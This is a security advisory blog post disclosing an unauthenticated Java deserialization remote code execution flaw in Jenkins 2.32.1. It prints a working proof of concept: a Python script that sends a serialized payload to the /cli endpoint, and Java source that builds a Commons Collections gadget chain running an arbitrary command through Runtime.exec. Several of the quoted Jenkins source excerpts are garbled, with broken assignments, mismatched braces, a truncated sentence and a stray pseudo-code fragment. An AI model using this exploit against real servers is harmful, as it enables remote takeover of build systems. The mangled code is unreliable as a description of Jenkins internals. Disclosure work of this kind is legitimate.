

SecuriTeam Blogs

SSD Advisory – CloudBees Jenkins Unauthenticated Code Execution

Want to get paid for a vulnerability similar to this one?

Contact us at: ssd@beyondsecurity.com

Vulnerability Summary

The following advisory describes Java deserialization vulnerability found in CloudBees Jenkins version 2.32.1 that leads to a Remote Code Execution.

Jenkins helps to automate the non-human part of the whole software development process with now common things like continuous integration and by empowering teams to implement the technical aspects of continuous delivery. It is a server-based system running in a servlet container such as Apache Tomcat. It supports version control tools, including AccuRev, CVS, Subversion, Git, Mercurial, Perforce, Clearcase and RTC, and can execute Apache Ant, Apache Maven and sbt based projects as well as arbitrary shell scripts and Windows batch commands.

Credit

An independent security researcher has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program.

Vendor Response

CloudBees Jenkins has released patches to address this vulnerability and is-

All commands sent to the CLI start with a preamble which is often:

```
1 <====[JENKINS REMOTING CAPACITY]====>r00ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbG10
```

The preamble contains a base64 encoded serialized object. The serialized object of type “*Capability*” just tells the server which capabilities (e.g. HTTP chunked encoding) the client has.

After the preamble and some additional bytes a serialized object of type *Command* is expected by the Jenkins server. Since Jenkins does not validate the serialized object, any serialize object can be sent.

The deserialization code is in the method “*readFrom*” of class “*Command*”:

```
abstract class Command implements Serializable {
    /**
     * This exception captures the stack trace of where the Command object is created.
     * This is useful for diagnosing the error when command fails to execute on the remote peer.
     */
    public final Exception createdAt;

    protected Command() { this.createdAt = true; }

    protected Command(Channel channel, Throwable cause) {
        // Command object needs to be deserializable on the other end without requiring custom classloading.
        // So we wrap this in RuntimeException
        this.createdAt = new RuntimeException("Exception: " + cause);
    }

    /**
     * Return recordCreatedAt
     * If false, skip the recording of where the command is created. This saves the trouble-shooting
     * and saves/for correlation hard in case of a failure. But it will reduce the amount of the data
     * transferred.
     */
    protected Command(boolean recordCreatedAt) {
        if(recordCreatedAt)
            this.createdAt = new Source();
        else
            this.createdAt = null;
    }

    /**
     * Call on a remote system to perform this command.
     *
     * @param channel
     *   the {@link Channel} of the remote system
     * @throws ExecutionException Execution error
     */
    protected abstract void execute(Channel channel) throws ExecutionException;

    void writeTo(Channel channel, ObjectOutputStream oos) throws IOException {
        Channel cfd = Channel.setForWrite(channel);
        try {
            oos.writeObject(this);
        } finally {
            Channel.setForRead(cfd);
        }
    }

    static Command readFrom(Channel channel, ObjectInputStream ois) throws IOException, ClassNotFoundException {
        Channel cfd = Channel.setForRead(channel); ois = null; channel = "Jenkins Remoting Channel[Client:WTP Full]";
        try {
            return (Command) ois.readObject();
        } finally {
            Channel.setForRead(cfd);
        }
    }
}

```

The command is called by the “*read()*” of class “*ClassicCommandTransport*”.

```
/**
 * @see {@link ClassicCommandTransport}
 */
private final class ClassicCommandTransport extends SynchronousCommandTransport {
    private final ObjectInputStream ois;
    private final ObjectOutputStream oos;
    private final Capability remoteCapability;

    /**
     * Transport level {@link ObjectInputStream} that we use only for diagnostics in case we detect stream
     * corruption. Can be null.
     */
    private final @Nullable FlightRecorderObjectInputStream readIn;

    /**
     * See {@link CommandTransport} for details on the streams.
     */
    private final OutputStream readOut;

    /**
     * @see {@link ClassicCommandTransport} for details on the streams.
     * @param ois
     *   the ObjectInputStream
     * @param oos
     *   the ObjectOutputStream
     * @param readIn
     *   the FlightRecorderObjectInputStream
     * @param readOut
     *   the OutputStream
     * @param remoteCapability
     *   the remoteCapability
     */
    ClassicCommandTransport(ObjectInputStream ois, ObjectOutputStream oos, FlightRecorderObjectInputStream readIn,
        OutputStream readOut, Capability remoteCapability) {
        this.ois = ois;
        this.oos = oos;
        this.readIn = readIn;
        this.readOut = readOut;
        this.remoteCapability = remoteCapability;
    }

    /**
     * @see {@link CommandTransport} for details on the streams.
     */
    public Capability getRemoteCapability() throws IOException {
        return remoteCapability;
    }

    public final void write(Command cmd, boolean last) throws IOException {
        cmd.writeToChannel(oos);
        oos.flush(); // Make sure the command reaches the other end.

        // unless this is the last command, have oos and remote ois target all the objects we send
        // in this command otherwise it'll keep objects in memory unnecessarily.
        // However, this may fail if the command out the class, because that's supposed to be the last command ...
    }
}

```

```

// over send. It is possible for our ReaderThread to receive the reflecting close call from the other side
// and close the output before the sending code gets to here.
// See the comment from jglick on JENKINS-2027 about what happens if we do not revert().
}
}

public void closeWrite() throws IOException {
    write.close();
}

public final Command read() throws IOException, ClassNotFoundException {
    try {
        Command cmd = Channel.readFromChannel(channel, "cmd");
    } catch (IOException e) {
        return null;
    }
}

```

The data coming “from” the “upload”-side of the channel is read in a thread of type ReaderThread.

```

public abstract class SynchronousCommandTransport extends CommandTransport {
    protected Channel channel;

    private static final String JENKINS_SOCKET_TIMEOUT_PROPERTY_NAME =
        SynchronousCommandTransport.class.getName() + ".failOnSocketTimeout";

    private static boolean JENKINS_FAIL_ON_SOCKET_TIMEOUT = Boolean.getBoolean(JENKINS_SOCKET_TIMEOUT_PROPERTY_NAME);

    /**
     * Called by Channel to read the next command to arrive from the stream.
     */
    abstract Command read() throws IOException, ClassNotFoundException, InterruptedException;

    @Override
    public void setup(Channel channel, CommandReceiver receiver) {
        this.channel = channel;
        new ReaderThread(receiver).start();
    }

    private final class ReaderThread extends Thread {
        private int commandReceived = 0;
        private int commandDeserialized = 0;
        private final CommandReceiver receiver;

        public ReaderThread(CommandReceiver receiver) {
            super("Channel reader thread: " + channel.getName());
            this.receiver = receiver;
        }

        @Override
        public void run() {
            final String name = channel.getName();
            while(channel.isConnected()) {
                Command cmd = null;
                try {
                    cmd = read();
                } catch (IOException e) {
                    if (JENKINS_FAIL_ON_SOCKET_TIMEOUT) {
                        LOG.log(Level.SEVERE, "Socket timeout in the synchronous channel reader. "
                            + "The channel will be interrupted, because " + JENKINS_SOCKET_TIMEOUT_PROPERTY_NAME
                            + " is set", e);
                    }
                    throw e;
                }
            }
        }
    }
}

```

The thread is triggered by the “upload”-method which is called in class “CliEndpointResponse”.

```

private class CliEndpointResponse extends HttpServletResponse {
    @Override
    public void generateResponse(StaplerRequest req, StaplerResponse rsp, Object model) throws IOException, ServletException {
        try {
            // do not require any permission to establish a CLI connection
            // the actual authentication for the connecting channel is done by CLICCommand
            URI uri = URI.create(req.getHeader("Host"));
            URI uri2 = URI.create("http://" + uri.getHost() + ":" + uri.getPort() + "/cli");
            rsp.setHeader("Host", uri2.getHost()); // set the Host so that the client would know

            FullDuplexHttpChannel server;
            if (req.getHeader("Host") != null) {
                DuplexChannels.put(uri2, server = new FullDuplexHttpChannel(uri2, Jenkins.getActiveInstance()).wrap());
            }
            protected void main(Channel channel) throws IOException, InterruptedException {
                // capture the identity given by the transport, since this can be useful for SecurityRules
                channel.setProperty(CLICommand.TRANSPORT_AUTHENTICATION, Jenkins.getActiveAuthentication());
                channel.setProperty(CLIEndpoint.class.getName(), new CliEndpoint(channel));
            }
            try {
                server.download(req, rsp);
            } finally {
                DuplexChannels.remove(uri2);
            }
        } else {
            DuplexChannels.put(uri2, upload(req, rsp));
        }
    }
}

```

In that method the HTTP body data is read and the “notify” method is called to notify the thread.

```

public synchronized void upload(StaplerRequest req, StaplerResponse rsp) throws InterruptedException, IOException {
    rsp.setStatus(HttpServletResponse.SC_OK);
    rsp.setHeader("Host", req.getHeader("Host"));
    if (req.getHeader("Host") != null) {
        DuplexChannels.put(uri2, server = new FullDuplexHttpChannel(uri2, Jenkins.getActiveInstance()).wrap());
    }
}

```

```

// establish the upload channel
upload = Uploader(url, "https://jenkins.com/remote")
upload.upload()

// wait until we are done
while (not upload.isCompleted)
    wait()
}

```

Proof of Concept

In order to exploit the vulnerability, an attacker needs to create a serialized payload with the command to execute by running the payload.jar script.

The second step is to change python script jenkins_poc1.py:

- Adjust target url in URL variable
- Change file to open in line “FILE_SER = open(“jenkins_poc1.ser”, “rb”).read()” to your payload file.

By doing the previous steps, you should see the following message in the log/stdout of jenkins:

```

1 Jan 26, 2017 2:22:41 PM hudson.remoting.SynchronousCommandTransport$ReaderThread
2 SEVERE: I/O error in channel HTTP full-duplex channel a403c455-3b83-4890-b304-
3 hudson.remoting.DiagnosedStreamCorruptionException
4 Read back: 0xac 0xed 0x00 0x05 'sr' 0x00 '/org.apache.commons.collections.map.
5 'comparator' 0x00 0x16 'Ljava/util/Comparator;xpsr' 0x00 0x1a 'java.security
6 'getRuntime' 0x00 0x12 '[Ljava.lang.Class;' 0xab 0x16 0xd7 0xae 0xcb 0xcd 'z
7 'loadFactorI' 0x00 0x09 'thresholdxp?@' 0x00 0x00 0x00 0x00 0x00 0x00 'w' 0x08
8 0x92 0x0d 'x' 0xa2 '~' 0xdd 0xba 0xa3 0xe8 0xf6 'x\3' 0xcd 0x98 0x06 '*t' 0x0
9 Read ahead:
10   at hudson.remoting.FlightRecorderInputStream.analyzeCrash(FlightRecorderIn
11   at hudson.remoting.ClassicCommandTransport.diagnoseStreamCorruption(Classic
12   at hudson.remoting.ClassicCommandTransport.read(ClassicCommandTransport.j
13   at hudson.remoting.SynchronousCommandTransport$ReaderThread.run(Synchronou
14 Caused by: java.lang.ClassCastException: org.apache.commons.collections.map.Re
15   at hudson.remoting.Command.readFrom(Command.java:96)
16   at hudson.remoting.ClassicCommandTransport.read(ClassicCommandTransport.j

```

jenkins_poc1.py

```

1 import urllib
2
3 import requests
4 import uuid
5 import threading
6 import time
7 import gzip
8 import urllib3
9 import zlib
10
11 proxies = {
12 # 'http': 'http://127.0.0.1:8090',
13 # 'https': 'http://127.0.0.1:8090',

```

```
14 }
15
16 URL='http://192.168.18.161:8080/cli'
17
18 PREAMLE='<====[JENKINS REMOTING CAPACITY]====>r00ABXNyABpodWRzb24ucmVtb3RpbmcuQ2
19 PROTO = '\x00\x00\x00\x00'
20
21
22 FILE_SER = open("jenkins_poc1.ser", "rb").read()
23
24 def download(url, session):
25
26     headers = {'Side' : 'download'}
27     headers['Content-type'] = 'application/x-www-form-urlencoded'
28     headers['Session'] = session
29     headers['Transfer-Encoding'] = 'chunked'
30     r = requests.post(url, data=null_payload(),headers=headers, proxies=proxies)
31     print r.text
32
33
34 def upload(url, session, data):
35
36     headers = {'Side' : 'upload'}
37     headers['Session'] = session
38     headers['Content-type'] = 'application/octet-stream'
39     headers['Accept-Encoding'] = None
40     r = requests.post(url,data=data,headers=headers,proxies=proxies)
41
42
43 def upload_chunked(url,session, data):
44
45     headers = {'Side' : 'upload'}
46     headers['Session'] = session
47     headers['Content-type'] = 'application/octet-stream'
48     headers['Accept-Encoding']= None
49     headers['Transfer-Encoding'] = 'chunked'
50     headers['Cache-Control'] = 'no-cache'
51
52     r = requests.post(url, headers=headers, data=create_payload_chunked(), proxies=proxies)
53
54
55 def null_payload():
56     yield " "
57
58 def create_payload():
59     payload = PREAMLE + PROTO + FILE_SER
60
61     return payload
62
63 def create_payload_chunked():
64     yield PREAMLE
65     yield PROTO
66     yield FILE_SER
67
68 def main():
69     print "start"
70
71     session = str(uuid.uuid4())
72
73     t = threading.Thread(target=download, args=(URL, session))
74     t.start()
75
```

```
76     time.sleep(1)
77     print "pwn"
78     #upload(URL, session, create_payload())
79
80     upload_chunked(URL, session, "asdf")
81
82 if __name__ == "__main__":
83     main()
```

payload.jar

```
1  import java.io.FileOutputStream;
2  import java.io.ObjectOutputStream;
3  import java.io.ObjectStreamException;
4  import java.io.Serializable;
5  import java.lang.reflect.Field;
6  import java.security.KeyPair;
7  import java.security.KeyPairGenerator;
8  import java.security.PrivateKey;
9  import java.security.PublicKey;
10 import java.security.Signature;
11 import java.security.SignedObject;
12 import java.util.Comparator;
13 import java.util.HashMap;
14 import java.util.HashSet;
15 import java.util.Map;
16 import java.util.concurrent.ConcurrentSkipListSet;
17 import java.util.concurrent.CopyOnWriteArraySet;
18
19 import net.sf.json.JSONArray;
20
21 import org.apache.commons.collections.Transformer;
22 import org.apache.commons.collections.collection.AbstractCollectionDecorator;
23 import org.apache.commons.collections.functors.ChainedTransformer;
24 import org.apache.commons.collections.functors.ConstantTransformer;
25 import org.apache.commons.collections.functors.InvokerTransformer;
26 import org.apache.commons.collections.keyvalue.TiedMapEntry;
27 import org.apache.commons.collections.map.LazyMap;
28 import org.apache.commons.collections.map.ReferenceMap;
29 import org.apache.commons.collections.set.ListOrderedSet;
30
31 public class Payload implements Serializable {
32
33     private Serializable payload;
34
35     public Payload(String cmd) throws Exception {
36
37         this.payload = this.setup(cmd);
38
39     }
40
41     public Serializable setup(String cmd) throws Exception {
42         final String[] execArgs = new String[] { cmd };
43
44         final Transformer[] transformers = new Transformer[] {
45             new ConstantTransformer(Runtime.class),
46             new InvokerTransformer("getMethod", new Class[] { String.class,
47                 Class[].class }, new Object[] { "getRuntime",
48                 new Class[0] }),
49             new InvokerTransformer("invoke", new Class[] { Object.class,
```

```
50         Object[].class }, new Object[] { null, new Object[0]
51         new InvokerTransformer("exec", new Class[] { String.class },
52         execArgs), new ConstantTransformer(1) });
53
54     Transformer transformerChain = new ChainedTransformer(transformers);
55
56     final Map innerMap = new HashMap();
57
58     final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
59
60     TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
61
62     HashSet map = new HashSet(1);
63     map.add("foo");
64     Field f = null;
65     try {
66         f = HashSet.class.getDeclaredField("map");
67     } catch (NoSuchFieldException e) {
68         f = HashSet.class.getDeclaredField("backingMap");
69     }
70
71     f.setAccessible(true);
72     HashMap innimpl = (HashMap) f.get(map);
73
74     Field f2 = null;
75     try {
76         f2 = HashMap.class.getDeclaredField("table");
77     } catch (NoSuchFieldException e) {
78         f2 = HashMap.class.getDeclaredField("elementData");
79     }
80
81     f2.setAccessible(true);
82     Object[] array2 = (Object[]) f2.get(innimpl);
83
84     Object node = array2[0];
85     if (node == null) {
86         node = array2[1];
87     }
88
89     Field keyField = null;
90     try {
91         keyField = node.getClass().getDeclaredField("key");
92     } catch (Exception e) {
93         keyField = Class.forName("java.util.MapEntry").getDeclaredField(
94             "key");
95     }
96
97     keyField.setAccessible(true);
98     keyField.set(node, entry);
99
100    KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA
101    keyPairGenerator.initialize(1024);
102    KeyPair keyPair = keyPairGenerator.genKeyPair();
103    PrivateKey privateKey = keyPair.getPrivate();
104    PublicKey publicKey = keyPair.getPublic();
105
106    Signature signature = Signature.getInstance(privateKey.getAlgorithm())
107    SignedObject payload = new SignedObject(map, privateKey, signature);
108    JSONArray array = new JSONArray();
109
110    array.add("asdf");
111
```



```
112     ListOrderedSet set = new ListOrderedSet();
113     Field f1 = AbstractCollectionDecorator.class
114         .getDeclaredField("collection");
115     f1.setAccessible(true);
116     f1.set(set, array);
117
118     DummyComperator comp = new DummyComperator();
119     ConcurrentSkipListSet csIs = new ConcurrentSkipListSet(comp);
120     csIs.add(payload);
121
122     CopyOnWriteArraySet a1 = new CopyOnWriteArraySet();
123     CopyOnWriteArraySet a2 = new CopyOnWriteArraySet();
124
125     a1.add(set);
126     Container c = new Container(csIs);
127     a1.add(c);
128
129     a2.add(csIs);
130     a2.add(set);
131
132     ReferenceMap flat3map = new ReferenceMap();
133     flat3map.put(new Container(a1), "asdf");
134     flat3map.put(new Container(a2), "asdf");
135
136     return flat3map;
137 }
138
139 private Object writeReplace() throws ObjectOutputStreamException {
140     return this.payload;
141 }
142
143 static class Container implements Serializable {
144
145     private Object o;
146
147     public Container(Object o) {
148         this.o = o;
149     }
150
151     private Object writeReplace() throws ObjectOutputStreamException {
152         return o;
153     }
154 }
155
156
157 static class DummyComperator implements Comparator, Serializable {
158
159     public int compare(Object arg0, Object arg1) {
160         // TODO Auto-generated method stub
161         return 0;
162     }
163
164     private Object writeReplace() throws ObjectOutputStreamException {
165         return null;
166     }
167 }
168
169
170 public static void main(String args[]) throws Exception{
171
172     if(args.length != 2){
173         System.out.println("java -jar payload.jar outfile cmd");
```

```
174         System.exit(0);
175     }
176
177     String cmd = args[1];
178     FileOutputStream out = new FileOutputStream(args[0]);
179
180     Payload pwn = new Payload(cmd);
181     ObjectOutputStream oos = new ObjectOutputStream(out);
182     oos.writeObject(pwn);
183     oos.flush();
184     out.flush();
185
186
187 }
188
189 }
```

📅 May 1, 2017 👤 Maor Schwartz 📁 SecuriTeam Secure Disclosure 🔑 Deserialization of untrusted data, Remote Code Execution

5 thoughts on “SSD Advisory – CloudBees Jenkins Unauthenticated Code Execution”

Pingback: [【漏洞分析】 Jenkins 未授权代码执行漏洞分析（含PoC） - 莹莹之色](#)

Pingback: [【漏洞分析】 Jenkins 未授权代码执行漏洞分析（含PoC） - 莹莹之色](#)

Pingback: <https://blogs.securiteam.com/index.php/archives/3171> | Totally Secure

Pingback: [Jenkins 未授权远程代码执行漏洞分析\(CVE-2017-1000353\) | Heikuo](#)

Pingback: [Jenkins Unauthenticated Remote Code Execution – sec.uno](#)

Proudly powered by WordPress